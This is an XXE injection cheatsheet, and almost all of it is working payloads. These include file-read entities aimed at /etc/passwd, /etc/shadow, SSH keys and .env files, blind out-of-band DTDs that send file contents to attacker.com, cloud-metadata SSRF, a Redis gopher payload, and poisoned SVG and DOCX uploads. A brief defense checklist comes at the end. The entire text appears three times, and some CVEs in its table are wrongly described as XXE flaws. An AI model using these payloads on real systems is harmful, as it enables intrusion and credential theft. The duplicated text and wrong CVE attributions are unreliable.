XXE Cheatsheet: XML External Entity Injection — File Read to SSRF to RCE
Thu May 28 2026
Category: Cheatsheet
Classic XXE — File Read
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>
<!-- Windows -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<foo>&xxe;</foo>
<!-- Read PHP source (base64) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">]>
<foo>&xxe;</foo>
XXE via SYSTEM Identifier
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://attacker.com/">
]>
<test>&xxe;</test>
Blind XXE — OOB via External DTD
When the server doesn't return entity value in response, use DNS/HTTP callbacks.
Step 1 — Host a malicious DTD at https://attacker.com/evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
%wrap;
%send;
Step 2 — Trigger from target:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>test</foo>
Blind XXE — OOB via Parameter Entities
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<stockCheck><productId>3</productId></stockCheck>
evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
Blind XXE — DNS Only (Detection)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://unique-id.burpcollaborator.net/">]>
<foo>&xxe;</foo>
XXE to SSRF
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]>
<foo>&xxe;</foo>
<!-- Internal service scan -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">]>
<foo>&xxe;</foo>
<!-- Gopher for RCE via Redis -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_FLUSHALL%0D%0A">]>
<foo>&xxe;</foo>
XInclude Attack
When you can't control the DTD but can inject XML content:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
<!-- In a specific tag value -->
<productId>
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
</productId>
XXE via File Upload (SVG)
Upload a .svg file containing XXE:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
XXE via File Upload (DOCX/XLSX/PPTX)
Office files are ZIP archives containing XML. Inject into word/document.xml:
# Extract DOCX
unzip target.docx -d docx_contents
# Edit word/document.xml — add at top:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Then reference &xxe; in document body
# Repack
cd docx_contents && zip -r ../malicious.docx .
XXE via Content-Type Switch
Some parsers accept XML if you change the Content-Type:
# Original:
POST /api/data HTTP/1.1
Content-Type: application/json
{"user":"test"}
# Modified:
POST /api/data HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><user>test&xxe;</user>
Error-Based XXE (When OOB blocked)
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
The file contents appear in the error message.
XXE via SOAP
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Body>
<foo>&xxe;</foo>
</soap:Body>
</soap:Envelope>
Common Target Files
file:///etc/passwd
file:///etc/shadow
file:///etc/hosts
file:///proc/self/environ
file:///var/www/html/.env
file:///var/www/html/config.php
file:///root/.ssh/id_rsa
file:///C:/Windows/win.ini (Windows)
file:///C:/inetpub/wwwroot/web.config
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| Facebook XXE | 2014 | Facebook (Word Doc upload) | XXE via .docx → internal file read, $30,000 bounty |
| PayPal XXE | 2013 | PayPal API | XXE → internal server file read |
| CVE-2019-0230 | 2019 | Apache Struts | XXE in Freemarker template → SSRF |
| CVE-2021-40438 | 2021 | Apache HTTP Server | XXE-assisted SSRF → internal access |
| CVE-2022-42889 | 2022 | Apache Commons Text | StringSubstitutor interpolation (related concept) |
| eBay XXE | 2016 | eBay REST API | XXE → internal network scanning |
Example: Facebook XXE via DOCX Upload (2014, $30,000)
# Step 1: Create malicious DOCX
mkdir docx && cd docx
cp normal.docx malicious.docx
unzip malicious.docx -d extracted/
# Step 2: Edit word/document.xml
# Add at very top of the file, before <w:document>:
cat > extracted/word/document.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:wpc="..." ...>
<w:body><w:p><w:r><w:t>&xxe;</w:t></w:r></w:p></w:body>
</w:document>
EOF
# Step 3: Repack and upload
cd extracted && zip -r ../malicious.docx . && cd ..
# Upload malicious.docx to Facebook → /etc/passwd returned in document preview
Example: Blind XXE → OOB Data Exfiltration
# Host evil.dtd on your server (attacker.com/evil.dtd):
cat > evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
%wrap;
%send;
EOF
python3 -m http.server 80
# Send payload to target
curl -X POST http://target.com/api/parse-xml \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>test</foo>'
# Check your HTTP server logs:
# GET /?data=root:x:0:0:root:/root:/bin/bash ... (passwd contents in URL)
Example: XInclude Attack (No DTD Control)
POST /api/product-info HTTP/1.1
Content-Type: application/xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/hostname"/>
</foo>
# Response contains: target-server-hostname
Tools
# XXEinjector
ruby XXEinjector.rb --host=attacker.com --file=request.txt --path=/etc/passwd
# Burp Suite — active scanner + manual
# Change Content-Type to application/xml
# Inject DTD into request body
Defense Checklist
- Disable external entity processing in XML parser
- Java:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) - PHP:
libxml_disable_entity_loader(true) - Python: use
defusedxmllibrary
- Java:
- Reject
DOCTYPEdeclarations in user-supplied XML - Use JSON instead of XML where possible
- Whitelist allowed content types
- Block outbound HTTP from application servers
References
Classic XXE — File Read
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>
<!-- Windows -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<foo>&xxe;</foo>
<!-- Read PHP source (base64) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">]>
<foo>&xxe;</foo>
XXE via SYSTEM Identifier
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://attacker.com/">
]>
<test>&xxe;</test>
Blind XXE — OOB via External DTD
When the server doesn't return entity value in response, use DNS/HTTP callbacks.
Step 1 — Host a malicious DTD at https://attacker.com/evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
%wrap;
%send;
Step 2 — Trigger from target:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>test</foo>
Blind XXE — OOB via Parameter Entities
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<stockCheck><productId>3</productId></stockCheck>
evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
Blind XXE — DNS Only (Detection)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://unique-id.burpcollaborator.net/">]>
<foo>&xxe;</foo>
XXE to SSRF
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]>
<foo>&xxe;</foo>
<!-- Internal service scan -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">]>
<foo>&xxe;</foo>
<!-- Gopher for RCE via Redis -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_FLUSHALL%0D%0A">]>
<foo>&xxe;</foo>
XInclude Attack
When you can't control the DTD but can inject XML content:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
<!-- In a specific tag value -->
<productId>
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
</productId>
XXE via File Upload (SVG)
Upload a .svg file containing XXE:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
XXE via File Upload (DOCX/XLSX/PPTX)
Office files are ZIP archives containing XML. Inject into word/document.xml:
# Extract DOCX
unzip target.docx -d docx_contents
# Edit word/document.xml — add at top:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Then reference &xxe; in document body
# Repack
cd docx_contents && zip -r ../malicious.docx .
XXE via Content-Type Switch
Some parsers accept XML if you change the Content-Type:
# Original:
POST /api/data HTTP/1.1
Content-Type: application/json
{"user":"test"}
# Modified:
POST /api/data HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><user>test&xxe;</user>
Error-Based XXE (When OOB blocked)
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
The file contents appear in the error message.
XXE via SOAP
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Body>
<foo>&xxe;</foo>
</soap:Body>
</soap:Envelope>
Common Target Files
file:///etc/passwd
file:///etc/shadow
file:///etc/hosts
file:///proc/self/environ
file:///var/www/html/.env
file:///var/www/html/config.php
file:///root/.ssh/id_rsa
file:///C:/Windows/win.ini (Windows)
file:///C:/inetpub/wwwroot/web.config
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| Facebook XXE | 2014 | Facebook (Word Doc upload) | XXE via .docx → internal file read, $30,000 bounty |
| PayPal XXE | 2013 | PayPal API | XXE → internal server file read |
| CVE-2019-0230 | 2019 | Apache Struts | XXE in Freemarker template → SSRF |
| CVE-2021-40438 | 2021 | Apache HTTP Server | XXE-assisted SSRF → internal access |
| CVE-2022-42889 | 2022 | Apache Commons Text | StringSubstitutor interpolation (related concept) |
| eBay XXE | 2016 | eBay REST API | XXE → internal network scanning |
Example: Facebook XXE via DOCX Upload (2014, $30,000)
# Step 1: Create malicious DOCX
mkdir docx && cd docx
cp normal.docx malicious.docx
unzip malicious.docx -d extracted/
# Step 2: Edit word/document.xml
# Add at very top of the file, before <w:document>:
cat > extracted/word/document.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:wpc="..." ...>
<w:body><w:p><w:r><w:t>&xxe;</w:t></w:r></w:p></w:body>
</w:document>
EOF
# Step 3: Repack and upload
cd extracted && zip -r ../malicious.docx . && cd ..
# Upload malicious.docx to Facebook → /etc/passwd returned in document preview
Example: Blind XXE → OOB Data Exfiltration
# Host evil.dtd on your server (attacker.com/evil.dtd):
cat > evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
%wrap;
%send;
EOF
python3 -m http.server 80
# Send payload to target
curl -X POST http://target.com/api/parse-xml \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>test</foo>'
# Check your HTTP server logs:
# GET /?data=root:x:0:0:root:/root:/bin/bash ... (passwd contents in URL)
Example: XInclude Attack (No DTD Control)
POST /api/product-info HTTP/1.1
Content-Type: application/xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/hostname"/>
</foo>
# Response contains: target-server-hostname
Tools
# XXEinjector
ruby XXEinjector.rb --host=attacker.com --file=request.txt --path=/etc/passwd
# Burp Suite — active scanner + manual
# Change Content-Type to application/xml
# Inject DTD into request body
Defense Checklist
- Disable external entity processing in XML parser
- Java:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) - PHP:
libxml_disable_entity_loader(true) - Python: use
defusedxmllibrary
- Java:
- Reject
DOCTYPEdeclarations in user-supplied XML - Use JSON instead of XML where possible
- Whitelist allowed content types
- Block outbound HTTP from application servers
References
Classic XXE — File Read
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>
<!-- Windows -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<foo>&xxe;</foo>
<!-- Read PHP source (base64) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">]>
<foo>&xxe;</foo>
XXE via SYSTEM Identifier
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://attacker.com/">
]>
<test>&xxe;</test>
Blind XXE — OOB via External DTD
When the server doesn't return entity value in response, use DNS/HTTP callbacks.
Step 1 — Host a malicious DTD at https://attacker.com/evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
%wrap;
%send;
Step 2 — Trigger from target:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>test</foo>
Blind XXE — OOB via Parameter Entities
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<stockCheck><productId>3</productId></stockCheck>
evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
Blind XXE — DNS Only (Detection)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://unique-id.burpcollaborator.net/">]>
<foo>&xxe;</foo>
XXE to SSRF
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]>
<foo>&xxe;</foo>
<!-- Internal service scan -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">]>
<foo>&xxe;</foo>
<!-- Gopher for RCE via Redis -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_FLUSHALL%0D%0A">]>
<foo>&xxe;</foo>
XInclude Attack
When you can't control the DTD but can inject XML content:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
<!-- In a specific tag value -->
<productId>
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
</productId>
XXE via File Upload (SVG)
Upload a .svg file containing XXE:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
XXE via File Upload (DOCX/XLSX/PPTX)
Office files are ZIP archives containing XML. Inject into word/document.xml:
# Extract DOCX
unzip target.docx -d docx_contents
# Edit word/document.xml — add at top:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Then reference &xxe; in document body
# Repack
cd docx_contents && zip -r ../malicious.docx .
XXE via Content-Type Switch
Some parsers accept XML if you change the Content-Type:
# Original:
POST /api/data HTTP/1.1
Content-Type: application/json
{"user":"test"}
# Modified:
POST /api/data HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><user>test&xxe;</user>
Error-Based XXE (When OOB blocked)
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
The file contents appear in the error message.
XXE via SOAP
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Body>
<foo>&xxe;</foo>
</soap:Body>
</soap:Envelope>
Common Target Files
file:///etc/passwd
file:///etc/shadow
file:///etc/hosts
file:///proc/self/environ
file:///var/www/html/.env
file:///var/www/html/config.php
file:///root/.ssh/id_rsa
file:///C:/Windows/win.ini (Windows)
file:///C:/inetpub/wwwroot/web.config
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| Facebook XXE | 2014 | Facebook (Word Doc upload) | XXE via .docx → internal file read, $30,000 bounty |
| PayPal XXE | 2013 | PayPal API | XXE → internal server file read |
| CVE-2019-0230 | 2019 | Apache Struts | XXE in Freemarker template → SSRF |
| CVE-2021-40438 | 2021 | Apache HTTP Server | XXE-assisted SSRF → internal access |
| CVE-2022-42889 | 2022 | Apache Commons Text | StringSubstitutor interpolation (related concept) |
| eBay XXE | 2016 | eBay REST API | XXE → internal network scanning |
Example: Facebook XXE via DOCX Upload (2014, $30,000)
# Step 1: Create malicious DOCX
mkdir docx && cd docx
cp normal.docx malicious.docx
unzip malicious.docx -d extracted/
# Step 2: Edit word/document.xml
# Add at very top of the file, before <w:document>:
cat > extracted/word/document.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:wpc="..." ...>
<w:body><w:p><w:r><w:t>&xxe;</w:t></w:r></w:p></w:body>
</w:document>
EOF
# Step 3: Repack and upload
cd extracted && zip -r ../malicious.docx . && cd ..
# Upload malicious.docx to Facebook → /etc/passwd returned in document preview
Example: Blind XXE → OOB Data Exfiltration
# Host evil.dtd on your server (attacker.com/evil.dtd):
cat > evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
%wrap;
%send;
EOF
python3 -m http.server 80
# Send payload to target
curl -X POST http://target.com/api/parse-xml \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>test</foo>'
# Check your HTTP server logs:
# GET /?data=root:x:0:0:root:/root:/bin/bash ... (passwd contents in URL)
Example: XInclude Attack (No DTD Control)
POST /api/product-info HTTP/1.1
Content-Type: application/xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/hostname"/>
</foo>
# Response contains: target-server-hostname
Tools
# XXEinjector
ruby XXEinjector.rb --host=attacker.com --file=request.txt --path=/etc/passwd
# Burp Suite — active scanner + manual
# Change Content-Type to application/xml
# Inject DTD into request body
Defense Checklist
- Disable external entity processing in XML parser
- Java:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) - PHP:
libxml_disable_entity_loader(true) - Python: use
defusedxmllibrary
- Java:
- Reject
DOCTYPEdeclarations in user-supplied XML - Use JSON instead of XML where possible
- Whitelist allowed content types
- Block outbound HTTP from application servers